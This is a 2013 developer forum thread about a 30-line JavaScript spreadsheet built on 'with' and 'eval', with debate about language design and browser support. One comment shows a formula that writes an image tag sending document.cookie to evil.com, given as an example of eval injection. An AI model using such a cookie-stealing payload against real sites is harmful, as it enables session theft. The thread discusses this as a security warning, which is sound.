News for hackers. Stuff that matters.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by lifeisstillgood on Wednesday November 13, 2013 @10:20AM (#6725685)
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect).

I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines.

It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by thatthatis on Wednesday November 13, 2013 @10:44AM (#6725882)
A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector (http://norvig.com/spell-correct.html): this language is more powerful and expressive than I thought.

I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by stiff on Wednesday November 13, 2013 @01:50PM (#6727408)
The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a hodgepodge of language constructs that don't add up together to form a useful toolkit. It might look nice in a 30 line program where you don't care about performance, code readability (and boy does this code look ugly) and bugs and maintenance costs.

Ruby or Smalltalk have an object system for doing those kinds of things that was actually designed and not evolved by committees and corporations, so that your meta-programming doesn't have to always be only eval and .bind in various incarnations (unsafe, inconvenient and slow). I can't imagine how this thing here that makes evaluating "A1" perform a function call fits into the rest of JavaScript and why the hall was it even introduced:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...

Not to mention the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope. In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

I congratulate the author of this code as much as everyone for finding an unexpected and very creative use for those features, but this doesn't make them great.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by wwweston on Wednesday November 13, 2013 @05:34PM (#6729152)
> (and boy does this code look ugly)

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jgraham on Wednesday November 13, 2013 @09:26PM (#6730142)
> "with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design

Unfortunately not. The design of with not only makes the code difficult to reason about for humans, it also makes the code difficult to reason about for js engines, and so it typically prevents any interesting optimisations. So code written using "with" will be both confusing and slow.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by lelandbatey on Wednesday November 13, 2013 @02:13PM (#6727595)
I agree, saying "Wow, this is a viable and useful language" because you can do something in just a few highly unreadable lines seems... like a pretty odd judgment.

It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.

[0] http://fabiensanglard.net/rayTracing_back_of_business_card/

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by chc on Wednesday November 13, 2013 @07:17PM (#6729628)
This code is fairly readable. It takes one or two shortcuts, but it's much closer to real code than to golf.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by hernan604 on Wednesday November 13, 2013 @08:00PM (#6729827)
its called "Abstraction"
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by thatthatis on Wednesday November 13, 2013 @02:08PM (#6727550)
All valid points. With the norvig example, the longer I look at it the more I like python. With this js example, the more I look at it the more I like python.

Sadly, I can't really run python in the browser.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by davidbielen on Wednesday November 13, 2013 @02:33PM (#6727804)
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by thatthatis on Wednesday November 13, 2013 @02:39PM (#6727849)
Yeah, I'm aware of this and emscripten. So far, to me, they don't look viable for DOM manipulation.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by adambard on Wednesday November 13, 2013 @03:05PM (#6728069)
Consider coffeescript. It does a good job at removing nuisance quirks from Javascript, and adding some python-esque features (sensible looping constructs, list comprehensions, etc.), while maintaining logical equivalence with the javascript it compiles to. (It also mirrors some of the syntactic features of ruby that make that language so appropriate for producing DSLs, which is a feature or a bug depending on your perspective)

You really can think javascript and write coffeescript.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by spion on Wednesday November 13, 2013 @08:05PM (#6729844)
Consider ES6 too. It also does a good job at removing some Javascript quirks and adds sensible looping constructs, list comprehensions, generators and generator comprehensions, proxies, rest/spread arguments (removing the need for the magical `arguments` identifier), classes (just sugar for what we already wire up with prototypical inheritance), modules, fat arrow functions etc.

No help on the DSL front though - still stuck with various kinds of brackets and parens.

On the other hand, it doesn't do the utterly horrible mistake of conflating variable declaration and variable assignment while forbidding shadowing, resulting with surprise bugs and spooky action at a distance.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by adambard on Wednesday November 13, 2013 @09:24PM (#6730135)
I like the way ES6 is going, but Coffeescript has the advantage of maintaining compatibility with old (like, old-old) browsers. I hate having to do it, but you can't just ignore them.

Server-side, sure, use the latest build you can get.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by spion on Thursday November 14, 2013 @03:01AM (#6731197)
There is traceur (https://github.com/google/traceur-compiler) and it can provide most of the features - except proxies.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by thatthatis on Wednesday November 13, 2013 @03:15PM (#6728147)
You make a convincing argument.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by adambard on Wednesday November 13, 2013 @09:25PM (#6730139)
Thanks! If you're looking for ways to ease the burden of compiling it yourself, my favorite tools are django-pipeline (for django) and middleman (for static sites). Both of these let you treat coffeescript files as first-class while you develop.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jlgreco on Wednesday November 13, 2013 @03:34PM (#6728263)
Imagine if management had not vetoed non "Java-like" syntax's during javascripts creation. Maybe Brendan Eich could have gotten a decent scheme dialect into the browser instead, people could have learned it (because in hypothetical retrospect, what else were they going to do? Not learn it?), and we would be in a far more pleasant position today...
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by pjc50 on Wednesday November 13, 2013 @04:03PM (#6728489)
Not learn it?

Certainly an option; keeping the syntax recognisable helped rather than hindered adoption, which was slow enough as it was at the beginning.

JS+DOM could have lost to Flash rather than vice versa.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jlgreco on Wednesday November 13, 2013 @04:24PM (#6728660)
If being "like java" was so important, then why didn't it just straight up lose to "actually java"?

I don't think that JS+DOM beating flash/java has much to do at all with "gee, this looks superficially like java, but is different enough to trip me up in rather weird ways".

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by davvolun on Wednesday November 13, 2013 @05:01PM (#6728922)
Don't conflate why Flash lost to why Java (in the browser) lost, there are very different reasons. For one thing, Java had failed as a browser plugin long before Flash did (as if we don't still see Flash in the browser...I wonder what our discussion would be if not for Apple?).
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by CamperBob2 on Wednesday November 13, 2013 @03:57PM (#6728445)
They would have learned whatever Java/C-derived scripting language that Microsoft came up with instead.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jlgreco on Wednesday November 13, 2013 @04:11PM (#6728559)
That was likely the fear at the time, but what we actually saw was Javascript became popular because it was useful and there wasn't really anything else like it. It became popular, so Microsoft threw in with it too.

In order for that to have not happened, it would have had to be so unpopular that Microsoft would decide it wasn't worth adopting, but still popular enough to get Microsoft on board with the general idea. I just don't think that is likely; people would have sucked up a scheme-based javascript even if it was a tad unfamiliar; it was that useful.

(Not to mention, going with the cynical "three E's" theory of 90s Microsoft, they would have at least first adopted it before perverting it.)

I think people overplay the importance of being C-like. AutoLISP hit a bit earlier and found a very strong following in a non-programmer niche. People doing web development were already fucking around in HTML of course, so clearly they could wrap their heads around things over than curly braces.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by TheZenPsycho on Wednesday November 13, 2013 @05:17PM (#6729060)
that is a weird and complicated take.

microsoft had visual basic in the browser, working like php works. that was microsoft's vision, which would have been the web if netscape didn't still have significant market share. IE had to implement javascript to be compatible with pages written for netscape.

simple as that. just microsoft's famous "embrace, extend, extinguish" strategy at work.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jlgreco on Wednesday November 13, 2013 @08:13PM (#6729884)
Microsoft's famous "embrace/extend/extinguish" is why they would have followed Netscape in implementing even a scheme-like javascript. They wouldn't have skipped the first two E's just because it was scheme-like instead of java-ish.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by TheZenPsycho on Wednesday November 13, 2013 @08:26PM (#6729930)
No, but perhaps there would not have been any pages written for netscape for IE to be compatible with.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by robomartin on Wednesday November 13, 2013 @04:51PM (#6728838)
So....I wonder...what's your idea of what should be a proper language to have in the browser?

Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.

I mean, are you looking at the idea of having something like python natively available at the browser?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by SimHacker on Friday November 15, 2013 @09:37AM (#6739615)
I recently found myself needing to use "with", and hating myself for it. Does anyone know a better way to do this in JavaScript?

    // Take an array of context dictionaries, and return a                                                                                      
    // function that evaluates a string in those contexts.                                                                                      
    // I fully realize how horrible this code is, and that                                                                                      
    // it only supports up to ten contexts. I feel terrible                                                                                     
    // about it, as I should, but I would feel even worse                                                                                       
    // if it were impossible to do this. But isn't there                                                                                        
    // a simpler way to do this is JavaScript? Maybe I                                                                                          
    // could use __proto__ inheritence, but I was hoping                                                                                        
    // to avoid.                                                                                                                                
    function evalInContextsFunction(_contexts) {
        var _contextCount = _contexts.length;
        if (_contextCount == 0) {
            return function evalInContexts(_text) {return eval(_text)};
        }
        with (_contexts[0] || {}) {
            if (_contextCount == 1) {
                return function evalInContexts(_text) {return eval(_text)};
            }
            with (_contexts[1] || {}) {
                if (_contextCount == 2) {
                    return function evalInContexts(_text) {return eval(_text)};
                }
[...and so on...]
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by SimHacker on Friday November 15, 2013 @09:33AM (#6739597)
What breaks my heart when someone claims that JavaScript was inspired by Self, is how Self was all about the wonders of multiple inheritance and dynamically mutable parent slots. JavaScript totally missed the boat on that one, with only one prototype slot, and the only time you can set it is when you create the object with "new".
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by tracker1 on Wednesday November 13, 2013 @11:24AM (#6726236)
I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better.

It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off the radar, with IE9 to follow in the next couple years. It's only getting better. IE8 was really the last relatively bad browser imho. IE9 has some quirks, and IE10/11 are actually pretty nice (though IE11 is the most buggy browser MS has released since IE6, possibly more so).

Yes, there are still browser compatibility issues.. but they are so few and far between for day to day use. Except for WebRTC and WebAudio, things are really solid.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dspillett on Wednesday November 13, 2013 @12:27PM (#6726737)
> it looks like IE8 is finally falling off the radar

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by timje1 on Wednesday November 13, 2013 @12:36PM (#6726811)
Seconding this - some of us designing web applications / intranet apps for banks or government have to support IE8 for the foreseeable future. We're just now starting to drop IE6 support for the new versions of our products.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by tracker1 on Wednesday November 13, 2013 @12:46PM (#6726896)
When I was a contractor at a major bank, the standard was IE6, and movement towards IE8 was in progress (as Win7 was rolling out)... I don't know if they held at IE8 though, as most people I knew there have left, even the FTEs. It was an SPA that drove a lot of adoption/allowance to use Chrome/Firefox, so it may have well gone that direction since leaving.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dspillett on Wednesday November 13, 2013 @01:59PM (#6727488)
The move from IE6 to IE8 has (pretty much universally in the investment banking industry in the UK) only been over the last year or so.

They are still pretty much all on XP, but new laptops are generally Windows 7 (with IE8) and I suspect Win7 will be rolling out to older standard builds (both desktop and laptop, machines old enough to not be Win7 compatible having been replaced already) as the first thing the relevant TS departments do after the Christmas/NewYear non-emergency-work freezes.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by eru on Wednesday November 13, 2013 @08:26PM (#6729926)
What's an SPA? (I guess FTE are full-time employees?)
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by sopooneo on Wednesday November 13, 2013 @09:13PM (#6730098)
Single Page Application. There are a bunch of javascript SPA frameworks getting attention lately. Angular, Backbone, Ember...
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by robomartin on Wednesday November 13, 2013 @05:06PM (#6728962)
> Norvig's 21 line python spelling corrector

That spell checker is intended to demonstrate a technique but it is far from 21 lines of real code. It you look at the included modules (re and collections) you'll find THOUSANDS of lines of code.

As always "I did x in n lines of <insert language>" often are really interesting learning tools but real production code isn't (or should not) ever look like these examples. No criticism of Norvig's code, it's interesting and I, too, learned something very interesting the first time I saw it.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by baq on Wednesday November 13, 2013 @04:15PM (#6728586)
wow.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by munificent on Wednesday November 13, 2013 @04:51PM (#6728841)
> What is it now that is the equivalent of writing our own screen handling routines?

Centering something using CSS. :(

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by skeletonjelly on Wednesday November 13, 2013 @05:26PM (#6729100)
Just goes to show how much the far left and the far right has influence over our society
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by chc on Wednesday November 13, 2013 @07:14PM (#6729613)
Eh, it's pretty easy to get things not on the far side of the screen; it's just hard to get it precisely in the center.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by IgorPartola on Wednesday November 13, 2013 @10:31PM (#6730359)
Center something vertically :). Or even better, create three divs, arranged horizontally, with a different amount of text such that all the divs are the same width and height. Note that you cannot specify a height for the parent since the text may be of arbitrary length. Makes me sad every time.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by garethadams on Thursday November 14, 2013 @03:32AM (#6731285)
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by IgorPartola on Thursday November 14, 2013 @05:10AM (#6731561)
Sure, table layout is how you'd have to do this. To me this shows that half of HTML/CSS happened because of legacy issues and not with deliberate thought. The semantic web is mostly dead other than to help Google parse out their own ads while CSS remains a mess full of hacks like this.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by garethadams on Thursday November 14, 2013 @07:52PM (#6736991)
There was never anything wrong with the table layout algorithm, what sucked was that there wasn't any way to apply it without typing your HTML rigidly to that structure. The situation still isn't perfect and flexbox is a strange alternative that I'm not quite happy with yet, but you can't deny that the HTML in my example represents the content you described with almost no extra layout fluff.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by IgorPartola on Friday November 15, 2013 @06:42AM (#6738900)
Fair enough. Perhaps this wasn't the best example.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by X4 on Wednesday November 13, 2013 @07:50PM (#6729774)
should be easy with flexbox (crossbrowser possible)

simple demo: http://philipwalton.github.io/solved-by-flexbox/demos/vertic...

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by pawn on Thursday November 14, 2013 @01:14AM (#6730881)
He was being punny...
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by fit2rule on Thursday November 14, 2013 @03:46AM (#6731313)
I'd say its more like, using OpenGL ES to manage your render buffers and textures ..
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by timje1 on Wednesday November 13, 2013 @10:27AM (#6725746)
Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed

with (DATA)

now that's just genius. I hate writing token parsing.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by inDigiNeous on Wednesday November 13, 2013 @01:54PM (#6727448)
Using both 'with' and 'eval' on the same line, nice ;)

Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.

Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s

Are these statements still true ?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @02:29PM (#6727767)
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by aufreak3 on Wednesday November 13, 2013 @06:07PM (#6729314)
Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @07:06PM (#6729567)
Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin.

It seems like that would be somewhat XSS safe since you are just passing strings back and forth.

I really like this idea.

   evalSafeAsync(code,context,callback) 
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by aboodman on Thursday November 14, 2013 @01:11AM (#6730876)
Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by genericacct on Wednesday November 13, 2013 @08:53PM (#6730029)
you can use httpOnly cookies and they will not be accessible via javascript.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by wwweston on Wednesday November 13, 2013 @08:10PM (#6729866)
At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language.

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ondras on Wednesday November 13, 2013 @02:14PM (#6727607)
Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ben336 on Wednesday November 13, 2013 @02:17PM (#6727640)
Yes. They're generally performance and reading nightmares. But this is a very clever usage.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dmethvin on Wednesday November 13, 2013 @04:46PM (#6728815)
There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by angersock on Wednesday November 13, 2013 @11:27AM (#6726263)
I'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @01:09PM (#6727066)
50 getters are defined on DATA: a1..e5, and A1..E5

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');
Which is basically the same as:

    eval('DATA.A1+DATA.A2');
Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jessedhillon on Wednesday November 13, 2013 @11:45AM (#6726401)
defineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @11:13AM (#6726127)
I am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools.

If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.

I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by btown on Wednesday November 13, 2013 @06:27PM (#6729404)
It's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by ondras on Wednesday November 13, 2013 @11:24AM (#6726240)
The getter impl should prevent this. Firefox, for instance, throws an exception...
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcampbell1 on Wednesday November 13, 2013 @11:32AM (#6726304)
I think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block.

Firefox does a similar thing, by throwing a "too much recursion" error.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jdc0589 on Wednesday November 13, 2013 @11:45AM (#6726404)
I can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @10:41AM (#6725866)
with (context) + eval = user-space lexical environment ?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by curveship on Wednesday November 13, 2013 @02:46PM (#6727922)
No, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ...

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }
That will probably do what you expect. But now say you run it where context is just ...

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!

In short, 'with' is pointy on both ends.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @03:04PM (#6728062)
Oh yeah, `with` is dangerous.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by richthegeek on Wednesday November 13, 2013 @11:36AM (#6726345)
Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module.

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by agumonkey on Wednesday November 13, 2013 @12:12PM (#6726592)
Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise.

[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by jcheng on Wednesday November 13, 2013 @01:44PM (#6727363)
Do you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dnautics on Wednesday November 13, 2013 @02:14PM (#6727608)
if it's on node.js I imagine there's things to worry about like malicious injection
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by madmax96 on Wednesday November 13, 2013 @07:40PM (#6729729)
While reading I also noticed the '=alert("foo")' hack, and thought I'd be able to point it out first, but you beat me to it! Ah well, that could be fixed pretty easily if it were harmful enough.

I think it's time that we accept the browser as a platform development model. Now Apple has 'iWork for iCloud' and Google has had it's doc programs for a while.

Very good hack, very powerful idea.

Re:A spreadsheet in fewer than 30 lines of JavaScript, no li... by dbpokorny on Thursday November 14, 2013 @04:12PM (#6735620)
I replied with a blog post, which goes into detail regarding what I believe is the single, critical aspect that is currently holding up innovation in spreadsheet technology: the ability to run untrusted code without compromising security.

http://dbpokorny.blogspot.com/2013/11/the-online-spreadsheet...